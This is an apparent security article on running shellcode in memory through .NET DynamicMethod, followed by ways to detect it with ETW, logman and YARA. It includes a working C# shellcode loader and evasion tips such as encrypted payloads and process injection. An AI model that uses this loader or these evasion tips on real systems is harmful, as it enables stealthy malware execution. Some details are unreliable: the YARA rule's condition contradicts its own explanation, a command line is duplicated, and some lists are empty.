Leveraging System.Reflection.Emit.DynamicMethod for Red Team Engagement

Leveraging System.Reflection.Emit.DynamicMethod for Red Team Engagement

This article explores how red teams can harness System.Reflection.Emit.DynamicMethod to execute in-memory payloads during engagements, and how blue teams can detect and respond to such techniques. We’ll cover the red team implementation, common evasion tactics, and a layered detection strategy for defenders.

1. Red Team Implementation

System.Reflection.Emit.DynamicMethod enables runtime creation of methods without writing to disk. Attackers use it to inject shellcode or malicious IL directly into memory, evading traditional on-disk controls.

1.1. High-Level Workflow

  1. Allocate executable memory (e.g., via VirtualAlloc)
  2. Write shellcode or IL bytes into the allocated buffer
  3. Define a dynamic method pointing to that buffer
  4. Create a delegate and invoke it


1.2. Sample C# Code

using System;
using System.Reflection.Emit;
using System.Runtime.InteropServices;

public class InMemoryLoader
{
    [DllImport("kernel32")]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    public static void Execute(byte[] shellcode)
    {
        // 1. Allocate RWX memory
        IntPtr execMem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);

        // 2. Copy shellcode into memory
        Marshal.Copy(shellcode, 0, execMem, shellcode.Length);

        // 3. Create dynamic method wrapper
        var method = new DynamicMethod("", typeof(void), Type.EmptyTypes);
        var il = method.GetILGenerator();
        il.Emit(OpCodes.Ldc_I8, (long)execMem);
        il.Emit(OpCodes.Conv_I);
        il.EmitCalli(OpCodes.Calli, CallingConvention.StdCall, typeof(void), Type.EmptyTypes);
        il.Emit(OpCodes.Ret);

        // 4. Invoke shellcode
        var action = (Action)method.CreateDelegate(typeof(Action));
        action();
    }
}
        

1.3. Evasion Add-Ons

  • Obfuscate the loader class name and method signatures
  • Encrypt or compress the shellcode at rest, decrypt in memory
  • Inject into trusted processes using DInvoke or manual mapping

2. Blue Team Detection and Response

Detecting DynamicMethod usage requires both managed runtime logging and memory-forensics techniques. Below is a layered approach.

2.1. Managed Runtime Monitoring

  • Enable CLR ETW events (Microsoft-Windows-DotNETRuntime)
  • Audit API calls:

2.2. Memory-Forensics and EDR Rules

  • Scan process memory for RWX regions not backed by legitimate modules
  • Use YARA rules to detect known shellcode patterns in memory pages
  • Flag processes creating executable regions with no corresponding module on disk

2.3. Logging and Alerting Workflows


Article content

2.4. Threat Hunting Techniques

  • Hunt for rare IL opcodes (e.g., Calli) in managed modules
  • Query Splunk/ELK for processes with high dynamic assembly counts
  • Cross-correlate user activity: did a legitimate developer recently deploy a tool?

3. Integration: Purple Team Exercises

Combining red and blue insights yields tighter controls and refined detections.

  1. Red team executes the DynamicMethod loader in test environment
  2. Blue team validates CLR ETW collection and rule accuracy
  3. Adjust noise thresholds to minimize false positives
  4. Iterate: red team tweaks evasion (e.g., encrypted loader), blue team refines detections

4. Taking It Further

  • Explore IL rewriting with Mono.Cecil to hide DynamicMethod calls
  • Integrate .NET profiler hooks for deeper introspection of unmanaged interactions
  • Leverage Process Mitigation Policies (Windows 10+) to restrict RWX pages
  • Deploy honeypot .NET applications that alert on any DynamicMethod use


Walkthrough: Setting Up CLR ETW Collection

Collecting CLR ETW events lets you monitor managed runtime behavior—including DynamicMethod creation—in real time. Below is a step-by-step guide to enable, capture, and analyze these events on Windows.

Prerequisites

  • Windows 10 or Server 2016 +
  • Administrative privileges
  • Windows Performance Toolkit (WPT) installed (includes logman / wpr)
  • A SIEM or log-aggregation tool (Splunk, ELK, Azure Monitor, etc.)

Steps to Enable and Capture CLR ETW Events

  1. Identify the ETW provide

  • Provider name: Microsoft-Windows-DotNETRuntime
  • We’ll focus on Event IDs 2050 (DynamicMethodCreate) and 2051 (DelegateCreate)


2. Create a real-time ETW session with logman

logman create trace CLR_DynamicMethod \
  –p "Microsoft-Windows-DotNETRuntime" 0x00000800 0x5 \
  –o C:\Logs\CLR_DynamicMethod.etl –nb 128 640 –bs 1024        
  –o C:\Logs\CLR_DynamicMethod.etl –nb 128 640 –bs 1024
        

  • 0x00000800 enables “IL Providers” (captures DynamicMethod)
  • 0x5 sets verbosity to “Verbose”
  • Adjust circular buffer settings (–nb, –bs) to control file sizes

3. Start the trace session

logman start CLR_DynamicMethod
        

4. Run your test application or red-team loader that uses DynamicMethod

5. Stop the session when testing is complete

logman stop CLR_DynamicMethod        


6. Convert ETL to human-readable JSON/CSV

  1. Open PerfView
  2. File → Open → select the .etl
  3. In “Events” view, filter on IDs 2050–2051

7. Ingest into your SIEM

  • Forward the XML/CSV to Splunk/ELK via universal forwarder
  • Create dashboards or alerts on spikes in DynamicMethodCreate events per process

Walkthrough: Crafting YARA Rules for In-Memory Shellcode

YARA rules help you scan process memory snapshots or live dumps for known shellcode patterns. Below is a simple rule template and tips for memory-residency detection.

Sample YARA Rule

rule InMemoryShellcode
{
  meta:
    author      = "SecurityTeam"
    description = "Detects common in-memory x86 shellcode patterns"
    date        = "2025-07-18"

  strings:
    $nop_sled = { 90 90 90 90 90 90 90 90 }            // common NOP sled
    $push_ebp = { 55 8B EC }                           // function prologue
    $call_rel = { E8 ?? ?? ?? ?? }                    // relative call

  condition:
    uint16(0) == 0x5A4D                                // PE header check (exclude on-disk)
    and any of ($nop_sled, $push_ebp, $call_rel)
}
        

Rule Components Explained

  1. meta: Document author, date, and description for traceability.
  2. strings: Byte patterns typical of shellcode (NOP sleds, function prologues, relative calls).
  3. condition:

  • uint16(0) == 0x5A4D ensures it’s not a legitimate PE file header (filters out on-disk modules).
  • any of(...) fires if at least one pattern appears.

Deploying and Scanning

  1. Export a live memory snapshot (using your EDR or Sysinternals procdump –ma).
  2. Run YARA against the dump:

yara -r InMemoryShellcode.yar memory_dump.dmp
        

3. Integrate YARA into EDR pipelines for continuous in-memory scanning.

Next Steps and Advanced Ideas

  • Implement custom ETW parsers in C# using Microsoft’s TraceEvent library for streaming directly into dashboards.
  • Write more sophisticated YARA rules that match de-obfuscated shellcode variants or .NET IL opcodes like Calli.
  • Hook into the .NET Profiling API to log unmanaged code transitions, giving you visibility into every dynamic-call invocation.
  • Build a honeypot .NET service that triggers high-fidelity alerts any time a DynamicMethod is created with RWX backing.

By understanding both sides of the equation, security teams can harness powerful red team tactics for adversary simulation, while blue teams sharpen their detective capabilities to stay ahead of sophisticated in-memory attacks.


Really interesting technical read! A whole new threat to add to my radar.

To view or add a comment, sign in

More articles by Joseph Emerick

Others also viewed

Explore content categories